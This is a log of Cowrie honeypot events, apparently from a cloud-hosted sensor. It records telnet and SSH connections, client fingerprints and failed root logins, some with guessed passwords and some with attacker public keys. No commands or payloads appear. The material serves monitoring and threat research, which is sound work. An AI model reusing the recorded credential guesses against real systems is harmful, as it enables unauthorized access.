{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48984,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b5fd6e7de72","protocol":"telnet","message":"New connection: 135.148.14.151:48984 (159.203.135.109:23) [session: 8b5fd6e7de72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:54.763663Z"}
{"eventid":"cowrie.session.closed","duration":36.5610625743866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:58.534223Z","src_ip":"135.148.14.151","session":"01820fb23330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6af3d3eabf","protocol":"ssh","message":"New connection: 89.108.118.91:54020 (159.203.135.109:22) [session: 6c6af3d3eabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:58.993497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:58.997603Z","src_ip":"89.108.118.91","session":"6c6af3d3eabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:59.132772Z","src_ip":"89.108.118.91","session":"6c6af3d3eabf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230187","message":"login attempt [root/230187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:59.548655Z","src_ip":"89.108.118.91","session":"6c6af3d3eabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:00.686604Z","src_ip":"89.108.118.91","session":"6c6af3d3eabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59994,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd39ad622576","protocol":"telnet","message":"New connection: 135.148.14.151:59994 (159.203.135.109:23) [session: dd39ad622576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:03.980249Z"}
{"eventid":"cowrie.session.closed","duration":32.239747762680054,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:11.324645Z","src_ip":"135.148.14.151","session":"f5ab1f79e49c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:11.413647Z","src_ip":"117.80.232.39","session":"a7c4a725f8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40996,"dst_ip":"159.203.135.109","dst_port":23,"session":"60fe6d08b445","protocol":"telnet","message":"New connection: 135.148.14.151:40996 (159.203.135.109:23) [session: 60fe6d08b445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:17.034955Z"}
{"eventid":"cowrie.session.closed","duration":34.95636582374573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:21.185598Z","src_ip":"135.148.14.151","session":"ae9d7dc4fddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":49626,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad073c74211c","protocol":"ssh","message":"New connection: 202.51.70.20:49626 (10.17.0.5:22) [session: ad073c74211c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:24.646453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:24.651025Z","src_ip":"202.51.70.20","session":"ad073c74211c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:24.910717Z","src_ip":"202.51.70.20","session":"ad073c74211c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola1234","message":"login attempt [root/Hola1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:25.982195Z","src_ip":"202.51.70.20","session":"ad073c74211c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:27.246253Z","src_ip":"202.51.70.20","session":"ad073c74211c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.985848903656006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:35.965929Z","src_ip":"135.148.14.151","session":"dd39ad622576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53798,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2b1597281c6","protocol":"telnet","message":"New connection: 135.148.14.151:53798 (159.203.135.109:23) [session: c2b1597281c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:39.030248Z"}
{"eventid":"cowrie.session.closed","duration":31.758071422576904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:48.792929Z","src_ip":"135.148.14.151","session":"60fe6d08b445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52456,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcf706417bb9","protocol":"ssh","message":"New connection: 103.15.222.183:52456 (10.17.0.5:22) [session: bcf706417bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:51.821839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:51.826249Z","src_ip":"103.15.222.183","session":"bcf706417bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:52.066496Z","src_ip":"103.15.222.183","session":"bcf706417bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hellfire","message":"login attempt [root/hellfire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:52.785245Z","src_ip":"103.15.222.183","session":"bcf706417bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.62253212928772,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:53.386055Z","src_ip":"135.148.14.151","session":"8b5fd6e7de72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.028042Z","src_ip":"103.15.222.183","session":"bcf706417bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":59088,"dst_ip":"10.17.0.5","dst_port":22,"session":"414d973b0bc1","protocol":"ssh","message":"New connection: 208.87.243.61:59088 (10.17.0.5:22) [session: 414d973b0bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.586386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.591946Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.662729Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:59:64:0f:57:00:76:31:a9:64:7e:56:de:13:d6:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICLV04Kmxtc1b7mVJqu5b79Jjrsve2XeXe+1JEmFXNes","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 37:59:64:0f:57:00:76:31:a9:64:7e:56:de:13:d6:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.987978Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:59:64:0f:57:00:76:31:a9:64:7e:56:de:13:d6:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICLV04Kmxtc1b7mVJqu5b79Jjrsve2XeXe+1JEmFXNes","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:54.992543Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:57:6d:ec:47:4f:62:ee:c3:c2:c3:b9:3c:fa:d7:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJIHB7ILIZ7RlVPu9+00YTtum/nsdNtxjr+oRq0dn+zR5NOJ+sk5hOxbffPrmEmQY5WiSaOOrxnK/FSpHxoaqQA7Bv3xBqfrJrFhzBxK4KV9XYG/eSbWtu2C0/ovmv4Sm51mJzVQpvfBIvDaRuORw4aCAUWKJ7H645omtazjV3KiHmWyxhAtH6K6QfjDhD5cZQPg3yrWreOWq+/utjP22azEqIlDj5fT/KRwwlJ83wGyTVhV5kRRHfJwetc5IX5BjuF8MsqNcO3CiNG//yIOFaMpUNUbgwJjPEefGLjG4mhI4Vt+FjmjIYxlQ+oEEWFvu1KxaGZpAz+x2JXyZ5ZEhX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:57:6d:ec:47:4f:62:ee:c3:c2:c3:b9:3c:fa:d7:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.063350Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:57:6d:ec:47:4f:62:ee:c3:c2:c3:b9:3c:fa:d7:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJIHB7ILIZ7RlVPu9+00YTtum/nsdNtxjr+oRq0dn+zR5NOJ+sk5hOxbffPrmEmQY5WiSaOOrxnK/FSpHxoaqQA7Bv3xBqfrJrFhzBxK4KV9XYG/eSbWtu2C0/ovmv4Sm51mJzVQpvfBIvDaRuORw4aCAUWKJ7H645omtazjV3KiHmWyxhAtH6K6QfjDhD5cZQPg3yrWreOWq+/utjP22azEqIlDj5fT/KRwwlJ83wGyTVhV5kRRHfJwetc5IX5BjuF8MsqNcO3CiNG//yIOFaMpUNUbgwJjPEefGLjG4mhI4Vt+FjmjIYxlQ+oEEWFvu1KxaGZpAz+x2JXyZ5ZEhX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.067319Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:5d:f1:95:9f:0e:03:c5:5f:62:54:ca:40:8f:08:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQ6woQhsrJees+CSKfJBMK3lxjf05Dp6Dc6M2apOO+j","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 87:5d:f1:95:9f:0e:03:c5:5f:62:54:ca:40:8f:08:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.137529Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:5d:f1:95:9f:0e:03:c5:5f:62:54:ca:40:8f:08:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQ6woQhsrJees+CSKfJBMK3lxjf05Dp6Dc6M2apOO+j","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.142896Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:16:a9:6f:67:95:ec:f2:e9:46:11:5b:05:b2:72:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArueBtzM2YJYWG9Sw0oAf/T3VilMHsJQOm5r74g+0rI+lI5yMw8BMDIWtKm9ytaIPY4gEEOJt6WW2TbGv2lqXYNEMEh8tZ7MY6//0vvwEPsU2w9Zj55OKfDdAKK4XLCOw26Mcn/Aae8145fhQQwDDzG1Kz3QhVoZPfkvJfiqR6grgFiFlG3j5Q4BtW7qLTnr37bRY4P1l6yeqLuGmVKTX7HjfrxFILL+rRcp54cdyXG8UrEXOwH6A+MTttHeSQXqgaXdhlTAHEjns/fUuGwCtgUTcEaphtkwVI94no8wmEkAOYGnlvsUHlerpSWlDyzg1cbSE8UF5TuaFtDIKiC4jXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:16:a9:6f:67:95:ec:f2:e9:46:11:5b:05:b2:72:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.218324Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:16:a9:6f:67:95:ec:f2:e9:46:11:5b:05:b2:72:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArueBtzM2YJYWG9Sw0oAf/T3VilMHsJQOm5r74g+0rI+lI5yMw8BMDIWtKm9ytaIPY4gEEOJt6WW2TbGv2lqXYNEMEh8tZ7MY6//0vvwEPsU2w9Zj55OKfDdAKK4XLCOw26Mcn/Aae8145fhQQwDDzG1Kz3QhVoZPfkvJfiqR6grgFiFlG3j5Q4BtW7qLTnr37bRY4P1l6yeqLuGmVKTX7HjfrxFILL+rRcp54cdyXG8UrEXOwH6A+MTttHeSQXqgaXdhlTAHEjns/fUuGwCtgUTcEaphtkwVI94no8wmEkAOYGnlvsUHlerpSWlDyzg1cbSE8UF5TuaFtDIKiC4jXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.222706Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:d1:d3:c9:7d:a1:fa:99:f0:96:6d:10:66:54:78:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCly1ms7JKeogi1J1mfv8cg+hDxPMVe7sljcsbtsyc1ZZEPbKHiD0p06Qgc4+tslUhxR2m0tJu6KTpJ7nFr/hJ6/ktj0GtdE07cfiPl4BmsfPBzs5mJC/TaNCycyAdzHVhKBu+9/J/j8ohgRSMrynjNYWTO5x3MKfZeYA+gUbE4nBGzJQv8OoPAgPJWFoszjEMxtUtPs7ZaUHXSoN3GzdzXKqZilRsoP8t9w7JwJPNUcXdXgDAZhnpXtVMqQgs4aWUVQLGwdK6jbiw1l7KmscEKiE3q76we8cx/nQDVh9GOyTZ+IPbxvTiMA8aHnZC9b3lzFMEf8aLQN3SLLdXHm4yL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:d1:d3:c9:7d:a1:fa:99:f0:96:6d:10:66:54:78:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.294464Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:d1:d3:c9:7d:a1:fa:99:f0:96:6d:10:66:54:78:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCly1ms7JKeogi1J1mfv8cg+hDxPMVe7sljcsbtsyc1ZZEPbKHiD0p06Qgc4+tslUhxR2m0tJu6KTpJ7nFr/hJ6/ktj0GtdE07cfiPl4BmsfPBzs5mJC/TaNCycyAdzHVhKBu+9/J/j8ohgRSMrynjNYWTO5x3MKfZeYA+gUbE4nBGzJQv8OoPAgPJWFoszjEMxtUtPs7ZaUHXSoN3GzdzXKqZilRsoP8t9w7JwJPNUcXdXgDAZhnpXtVMqQgs4aWUVQLGwdK6jbiw1l7KmscEKiE3q76we8cx/nQDVh9GOyTZ+IPbxvTiMA8aHnZC9b3lzFMEf8aLQN3SLLdXHm4yL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.299298Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:54:55.370423Z","src_ip":"208.87.243.61","session":"414d973b0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.43525266647339,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:15.465372Z","src_ip":"135.148.14.151","session":"c2b1597281c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57708,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9163aa49ac","protocol":"telnet","message":"New connection: 135.148.14.151:57708 (159.203.135.109:23) [session: cd9163aa49ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:19.184985Z"}
{"eventid":"cowrie.session.closed","duration":0.005883216857910156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:19.190715Z","src_ip":"135.148.14.151","session":"cd9163aa49ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45650,"dst_ip":"159.203.135.109","dst_port":22,"session":"08e139ab2b87","protocol":"ssh","message":"New connection: 103.122.221.179:45650 (159.203.135.109:22) [session: 08e139ab2b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:23.605631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:23.610890Z","src_ip":"103.122.221.179","session":"08e139ab2b87","protocol":"ssh"}
